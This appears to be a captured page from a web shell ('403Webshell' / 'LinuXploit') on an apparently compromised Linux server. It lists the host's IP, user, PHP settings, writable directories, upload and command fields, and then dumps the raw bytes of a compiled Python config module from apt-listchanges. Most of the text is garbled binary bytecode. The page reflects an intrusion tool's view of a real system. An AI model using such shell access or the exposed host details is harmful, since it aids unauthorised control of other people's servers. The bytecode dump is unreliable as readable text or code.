403Webshell
Server IP : 35.236.43.222  /  Your IP : 216.73.216.143
Web Server : Apache
System : Linux order-form-vm-001 5.10.0-37-cloud-amd64 #1 SMP Debian 5.10.247-1 (2025-12-11) x86_64
User : deploy ( 1002)
PHP Version : 8.1.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /usr/share/apt-listchanges/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/share/apt-listchanges/__pycache__/ALCConfig.cpython-39.pyc
a

Dc``A(�@sLddlZddlZddlZddlZddlZddlmZGdd�d�ZdgZdS)�N)�_c@sNeZdZdd�Zdd�Zdd�Zddd	�Zd
d�Zdd
�Zdd�Z	dd�Z
dS)�	ALCConfigcCs�d|_d|_d|_d|_d|_d|_d|_d|_d|_d|_	d|_
d|_d|_d|_
d|_d|_d|_d|_d|_d|_d|_d|_d|_gd�|_gd�|_gd	�|_d
|_d|_d|_d|_dS)
NF�pager�text�bothTz/var/log/apt/listchanges.log)�confirm�debug�show_all�headers�verbose�reverse�	dump_seen�select_frontend�
no_network�ignore_apt_assume�ignore_debian_frontend�titled)	�frontend�
email_address�email_format�latest�log�filter�	save_seen�since�which)ZbrowserrZxtermr)rZhtml)rZnewsZ
changelogs)�apt_moder
�profilerrrrr	rr
rrrrrrrrrrrrr�
_bool_opts�_value_opts�_cfgfile_only_opts�quiet�frontend_from_env�_allowed_email_formats�_allowed_which)�self�r&�'/usr/share/apt-listchanges/ALCConfig.py�__init__!s<


zALCConfig.__init__cCst��|_|j�|�dS�N)�configparserZConfigParser�parser�read)r%�filer&r&r'r,fs
zALCConfig.readcCs�|j�|j�r�|j�|j�D]z}d}|j�|j|�r�||jvrP|j�|j|�}n:||jvsd||jvrv|j�	|j|�}nt
�td�|�qt
|||�qdS)Nz%Unknown configuration file option: %s)r+Zhas_sectionrZoptionsZ
has_optionrZ
getbooleanrr �get�ALCLogZwarningr�setattr)r%�option�valuer&r&r'�exposejs
zALCConfig.exposeNcCst|||�Sr))�getattr)r%r1Zdefvaluer&r&r'r.xsz
ALCConfig.getcCs2|dkrtj}ntj}|�td��t�|�dS)Nrz<Usage: apt-listchanges [options] {--apt | filename.deb ...}
)�sys�stdout�stderr�writer�exit)r%ZexitcodeZfhr&r&r'�usage{s
zALCConfig.usagecCs:||vr|St�td�||d�|�d��t�d�dS)NzGUnknown argument %(arg)s for option %(opt)s.  Allowed are: %(allowed)s.z, )�arg�opt�allowed�)r/�errorr�joinr5r9)r%r;r<r=r&r&r'�_check_allowed�s
�zALCConfig._check_allowedcCs�|js|jrdS|s|�d�|D]�}tj�|�d}|dkr^t�td�d|i�t	�
d�tj�|�s�t�td�d|i�t	�
d�t�|tj
�s"t�td�d|i�t	�
d�q"dS)Nr>z.debz&%(deb)s does not have '.deb' extension�debz'%(deb)s does not exist or is not a filez%(deb)s is not readable)rr
r:�os�path�splitextr/r?rr5r9�isfile�access�R_OK)r%ZdebsrBZextr&r&r'�_check_debs�s


zALCConfig._check_debsc

Cs"zBt�|dd�dgd�dd�|jD�dd�|jD��\}}Wn>tjy�}z$t�t|��t�d�WYd}~n
d}~00|D]&\}}|dkr�||_	q�|dkr�d	|_
q�|j	dur�|j
r�d
|_	nd|_	|��dtj
vr�t�d�|_d	|_d	|_d
\}}}	|D�]�\}}|dk�r&|�d��q|dv�r:d	|_�q|dv�rN||_�q|dk�rb||_�q|dk�r�|�|||j�|_�q|dv�r�d	|_�q|dv�r�|}�q|dv�r�|}�q|dv�r�d	}	�q|dv�r�d	|_n�|dv�r�||_n�|dk�rd	|_n�|dk�r |�|||j�|_n�|dk�r2d	|_n�|dk�rDd	|_n�|dv�rVd	|_ n||dk�rhd	|_!nj|d k�rzd	|_"nX|d!k�r�d	|_nF|d"k�r�d	|_#n4|d#k�r�d$|_#n"|d%v�r�||_$n|d&v�r||_%�q|jd'k�r�d|_|jd'k�r�d|_|j&du�r|j'�s|du�r8|	�r8t�t(d(��t�d�n|du�sH|	�rT||_&|	|_'|j&du�r�t)|�dk�r�t�t(d)��t�d�d|_|j*du�r�|j'�s�|du�r�|	�r�t�t(d*��t�d�n|du�s�|	�r�||_*|	|_'|j
�r|j�st�d+d,�d-k�rd|_+d$|_|�,|�|S).Nr>zvf:s:cah)�aptzprofile=�help�allz
save_seen=cSsg|]}|�dd��qS)r�-��replace��.0�xr&r&r'�
<listcomp>��z$ALCConfig.getopt.<locals>.<listcomp>cSsg|]}|�dd�d�qS)rrM�=rNrPr&r&r'rS�rTz	--profilez--aptTrJZcmdlineZAPT_LISTCHANGES_FRONTEND)NNFz--helpr)z-vz	--verbose)z-fz
--frontendz--email-addressz--email-format)z-cz	--confirmz--sincez--latest)z-az
--show-allz--all)z-hz	--headers)z--save-seenz--save_seenz--dump-seenz--whichz--debugz	--reverse)z-nz--no-networkz--select-frontendz--ignore-apt-assumez--ignore-debian-frontendz--titledz
--untitledFz--logz--filterZnonez7--since=<version> and --show-all are mutually exclusivez<--since=<version> expects a path to exactly one .deb archivez2--latest=<N> and --show-all are mutually exclusiveZDEBIAN_FRONTEND�Znoninteractive)-�getoptrrZGetoptErrorr/r?�strr5r9rrr3rC�environ�getenvrr"rr:rrrAr#rrr
rr
r$rrrrrrrrrrr	r�lenrr!rI)
r%�argvZoptlist�args�errr<r;rrr	r&r&r'rW�s���
 






























��
���
zALCConfig.getopt)N)�__name__�
__module__�__qualname__r(r,r3r.r:rArIrWr&r&r&r'r sE
	r)	r*rWr5rCr/ZALChacksrr�__all__r&r&r&r'�<module>s}

Youez - 2016 - github.com/yon3zu
LinuXploit